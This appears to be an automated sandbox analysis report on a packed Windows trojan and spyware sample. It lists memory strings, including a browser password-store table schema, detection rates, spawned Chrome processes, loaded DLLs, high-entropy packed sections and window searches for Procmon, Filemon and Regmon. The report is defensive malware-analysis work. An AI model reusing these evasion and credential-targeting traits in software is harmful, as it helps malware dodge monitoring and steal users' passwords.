Source: file.exe, 00000000.00000003.1643951791.0000000006470000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643704952.0000000006522000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1652928626.00000000065A5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646110333.000000000646B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647347195.0000000006471000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644701626.000000000653A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648550932.0000000006578000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650706191.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648682458.0000000006465000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651096413.000000000659A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641982717.0000000006505000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649819691.000000000657D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647694088.0000000006670000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645070338.000000000661B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644125729.000000000646C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650067406.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644568431.0000000006463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644845085.0000000006464000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648815771.0000000006578000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647499883.0000000006565000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1647844629.0000000006471000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643205619.0000000006513000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642386462.000000000650B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1653269098.000000000646C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641878175.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1639687322.0000000006462000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645829543.000000000646F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643601085.000000000646D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643496208.0000000006527000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644310954.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641763931.0000000006507000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1654158559.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648396836.000000000646C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651263541.000000000646B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657802043.0000000006463000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637518887.00000000060CE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646606811.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637376744.0000000006262000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642880062.0000000006467000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1637777615.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646357776.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645623703.0000000006631000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1655272430.0000000006462000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642685516.000000000646F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1642151776.0000000006511000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651811611.00000000066E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641425553.000000000659E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1648945511.0000000006468000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650317649.0000000006469000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641161419.0000000006464000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1646887659.0000000006466000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1656203321.00000000065AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1641298686.0000000006501000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649469239.000000000646B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644214720.0000000006535000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1650443389.000000000658E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1644040442.0000000006540000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1643863375.00000000065ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1649084456.000000000657F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1651533367.0000000006465000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.1779507643.0000000006826000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1645992761.0000000006552000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1657955639.00000000065BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9981766712816456
Source: file.exe	Static PE information: Section: dxnyvhxm ZLIB complexity 0.9946035660091047

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@29/64@11/7

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.1505709515.0000000005FD7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1505636646.0000000005FE4000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1490957797.0000000005FF4000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	ReversingLabs: Detection: 31%
Source: file.exe	Virustotal: Detection: 38%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1880,i,16753807270893997774,2862388317102708426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1912,i,4107251576710729369,6142206982357749520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=1880,i,16753807270893997774,2862388317102708426,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2140 --field-trial-handle=1912,i,4107251576710729369,6142206982357749520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1863680 > 1048576

Source: file.exe

Static PE information: Raw size of dxnyvhxm is bigger than: 0x100000 < 0x19be00

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.d50000.0.unpack :EW;.rsrc :W;.idata :W; :EW;dxnyvhxm:EW;flsofcsd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;dxnyvhxm:EW;flsofcsd:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cfe53 should be: 0x1d010f

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: dxnyvhxm
Source: file.exe	Static PE information: section name: flsofcsd
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_017838A1 push ecx; iretd	0_3_017838A3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_0177F62A push ecx; iretd	0_3_0177F62B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C4699 push ebx; ret	0_2_069C46ED
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E9A push 0A3BA4F2h; mov dword ptr [esp], eax	0_2_069C9EC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E9A push 1DACAA51h; mov dword ptr [esp], ecx	0_2_069C9EE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E9A push eax; mov dword ptr [esp], ebp	0_2_069C9F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BD68B push edi; mov dword ptr [esp], 77F76B84h	0_2_069BD6BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E8E push 0A3BA4F2h; mov dword ptr [esp], eax	0_2_069C9EC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E8E push 1DACAA51h; mov dword ptr [esp], ecx	0_2_069C9EE5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C9E8E push eax; mov dword ptr [esp], ebp	0_2_069C9F5C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C3E8B push edx; ret	0_2_069C3E9A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BC680 push edi; mov dword ptr [esp], 7EFC11E1h	0_2_069BCB62
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BBE86 push 15A09707h; mov dword ptr [esp], ecx	0_2_069BCAE4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BB685 push esi; mov dword ptr [esp], ebp	0_2_069BD483
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BB685 push edi; mov dword ptr [esp], edx	0_2_069BD48F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BE6B5 push 104D62D3h; mov dword ptr [esp], eax	0_2_069BE6BA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BB6A9 push ebx; mov dword ptr [esp], 740F69C6h	0_2_069BE544
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BB6A9 push 1CF7B955h; mov dword ptr [esp], esi	0_2_069BF575
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C16AF push eax; mov dword ptr [esp], ebx	0_2_069C26A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BB6DC push edi; mov dword ptr [esp], eax	0_2_069BD2A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C3ED4 push ecx; ret	0_2_069C3EF5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BBEC8 push ebp; mov dword ptr [esp], ebx	0_2_069BC4F5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C06CA push edx; mov dword ptr [esp], ebx	0_2_069C1A73
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069C3EC4 push edi; ret	0_2_069C3ED3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BAEFE push eax; mov dword ptr [esp], 4F89CCB9h	0_2_069BB11D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BAEFE push eax; mov dword ptr [esp], 73B0E1C5h	0_2_069BB12B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BAEFE push 575E5A9Bh; mov dword ptr [esp], ebp	0_2_069BBCA7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BEEF0 push ebx; mov dword ptr [esp], 7FFF0966h	0_2_069BEEF8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BEEF0 push edi; mov dword ptr [esp], 2A8B0F55h	0_2_069C006D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BEEF0 push eax; mov dword ptr [esp], ebp	0_2_069C02C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_069BAEEB push ebx; mov dword ptr [esp], 7CBF51BEh	0_2_069BC984

Source: file.exe	Static PE information: section name: entropy: 7.980050152503009
Source: file.exe	Static PE information: section name: dxnyvhxm entropy: 7.953432013519256

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
